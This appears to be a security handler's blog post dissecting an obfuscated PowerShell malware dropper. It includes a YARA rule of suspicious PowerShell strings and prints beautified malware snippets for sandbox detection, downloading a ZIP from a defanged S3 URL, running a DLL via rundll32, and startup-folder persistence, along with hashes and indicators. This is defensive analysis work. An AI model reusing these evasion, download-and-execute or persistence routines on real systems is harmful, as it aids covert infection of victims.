Malicious Powershell Script Dissection
Here is another example of malicious Powershell script found while hunting. Such scripts remain a common attack vector and many of them can be easily detected just by looking for some specific strings. Here is an example of YARA rule that I'm using to hunt for malicious Powershell scripts:
rule PowerShellSuspiciousStrings { strings: $ps1 = "powershell" nocase wide ascii $ps2 = "IEX" nocase wide ascii $ps3 = "new-object" nocase wide ascii $ps4 = "webclient" nocase wide ascii $ps5 = "downloadstring" nocase wide ascii $ps6 = "Hidden" nocase wide ascii $ps7 = "invoke" nocase wide ascii $ps8 = "Get-Random -input" nocase wide ascii $ps9 = "bypass" nocase wide ascii $ps10 = "shellcode" nocase wide ascii $ps11 = "Enter-PSSession" nocase wide ascii $ps12 = "-NoP" nocase wide ascii $ps13 = "-Enc" nocase wide ascii $ps14 = "-NonI" nocase wide ascii $ps15 = "downloadfile" nocase wide ascii $ps16 = "Invoke-Expression" nocase wide ascii $ps17 = "Start-Process" nocase wide ascii $ps18 = "ShellExecute" nocase wide ascii $ps19 = "[System.Convert]::" nocase wide ascii $ps20 = "FromBase64String(" nocase wide ascii $ps21 = "New-Object System.IO." nocase wide ascii $ps22 = "[System.Net." nocase wide ascii $ps23 = "System.Reflection.AssemblyName" nocase wide ascii $ps24 = "cG93ZXJzaGVsbC" nocase wide ascii $ps25 = "UG93ZXJTaGVsbC" nocase wide ascii condition: 4 of them and file_type contains "text" and new_file and positives > 0 and positives < 15 }
Most of them will be heavily obfuscated to make them unreadable and undetectable by security tools. The one that I found was not obfuscated to make it unreadable for the human but was strong enough to defeat most of the antivirus engines. The current VT score remains only 3/57[1] (SHA256: 01fd7fdb435d60544d95f420f7813e6a30b6fa64bf4f1522053144a02f961e39). The obfuscation was based on two techniques:
The usage of unreadable variable names like the snippet of code below:
1: ${/\____/===\/=\___} = New-Object System.Uri $ExecutionContext.InvokeCommand.ExpandString(${_/==\_/==\_/\__/==}) 2: ${__/\/\/\/=\__/=\_} = [System.Net.HttpWebRequest]::Create(${/\____/===\/=\___}) 3: ${__/\/\/\/=\__/=\_}.set_Timeout(15000) 4: ${/===\___/\/===\__} = ${__/\/\/\/=\__/=\_}.GetResponse()
It's easy to just perform search/replace operations on the file to replace variable names with more friendly ones.
The second technique used was to Base64 encode all the strings like:
1: ${_/\__/\/=\/\__/\/} = ${_/\__/\/=\/\__/\/} +$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBkAGwAbAA=')))
You can see that the Base64 encoded string is a Unicode string. It easy to decode it and replace it by using a Cyberchef recipe. Being a lazy guy (who’s not?), I like to automate stuff. The recipe is easy:
Once decoded, what does the script do? (Note: all the code has been beautified)
First, it creates a Mutex:
function createNexMutex { try { $newMutex = New-Object System.Threading.Mutex($false, '444444444444') return $newMutex.WaitOne() } finally{} }
It checks if running in a sandbox/virtualized environment:
function isRunningInAVM { $hardwareModel = gwmi -Class Win32_ComputerSystem |select -ExpandProperty Model if ($hardwareModel -eq 'VirtualBox' -or $hardwareModel -eq 'VMware Virtual Platform' -or $hardwareModel -eq 'Virtual Machine' -or $hardwareModel -eq 'HVM domU') { return "Y" } else { return "N" } }
It tries to fetch a file from an Amazon S3 bucket: hxxps://s3-eu-west-1[.]amazonaws[.]com/killino2/image2.png. This file is a ZIP archive that contains two files:
$ unzip -t image2.png Archive: image2.png testing: _.dll OK testing: _.prx OK No errors detected in compressed data of image2.png.
Files are extracted and moved to %APPDATA% with random filenames.
The DLL is executed by calling the exported function ‘MaxNotify’:
cd $env:APPDATA ; saps rundll32.exe $env:APPDATA\$randomFilename, $maxNotify;
Note that ’saps’ is an alias for Start-Process. Powershell provides a long list of aliases[2] that can also be used to obfuscate some code.
Here is a list of DLL exports available:
default viper _.dll > pe exports [*] Exports: - 0xba77dc: b'GetMaxToGridRect' (5) - 0xba7198: b'MaxNotify' (10) - 0xba77c8: b'MaxNotifyAppHWND' (9) - 0xba77d4: b'NVUnHook' (7) - 0xba77d8: b'NvSmartMaxShutdown' (6) - 0xba77d0: b'NvSmartMax_OnSetWorkArea' (8) - 0xba77e0: b'SmartMaxLookupLSdVPEzOLmluaz' (4) - 0x470364: b'TMethodImplementationIntercept' (3) - 0x411944: b'__dbk_fcall_wrapper' (2) - 0xbdd640: b'dbkFCallWrapperAddr' (1)
Finally, persistence is added by creating an LNK file stored in the Startup directory:
function setPersistence { Param([string]$shortcutPath,[string]$shortcutCmd); try { $newObject = New-Object -ComObject WScript.Shell $newShortcut = $newObject.CreateShortcut($shortcutPath) $newShortcut.TargetPath = 'powershell.exe' $newShortcut.Arguments = $shortcutCmd $newShortcut.WorkingDirectory = '%SystemRoot%\System32' $newShortcut.WindowStyle = 7 $newShortcut.IconLocation = '%ProgramFiles%\Internet Explorer\iexplore.exe,1' $newShortcut.Save() }finally{} }
What about the DLL? Its SHA256 hash is 1ed49bd3e9df63aadcb573e37dfcbafffbb04acb2e4101b68d02ecda9da1eee7 and its current VT score is 7/67[3]. Once executed, the DLL spawns an Internet Explorer process and gets the victim localization by querying hxxp://ip-api[.]com/json/ but nothing else detected in my sandbox. The sample is identified by some AV as "Spyware.Amavaldo"[4]. If you have more details about this malware, please share!
[1] https://www.virustotal.com/#/file/01fd7fdb435d60544d95f420f7813e6a30b6fa64bf4f1522053144a02f961e39/detection
[2] http://ilovepowershell.com/2011/11/03/list-of-top-powershell-alias/
[3] https://www.virustotal.com/#/file/1ed49bd3e9df63aadcb573e37dfcbafffbb04acb2e4101b68d02ecda9da1eee7/detection
[4] https://fortiguard.com/encyclopedia/virus/7804947
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Malware Analysis Tools and Techniques | Amsterdam | Jan 20th - Jan 25th 2025 |
Comments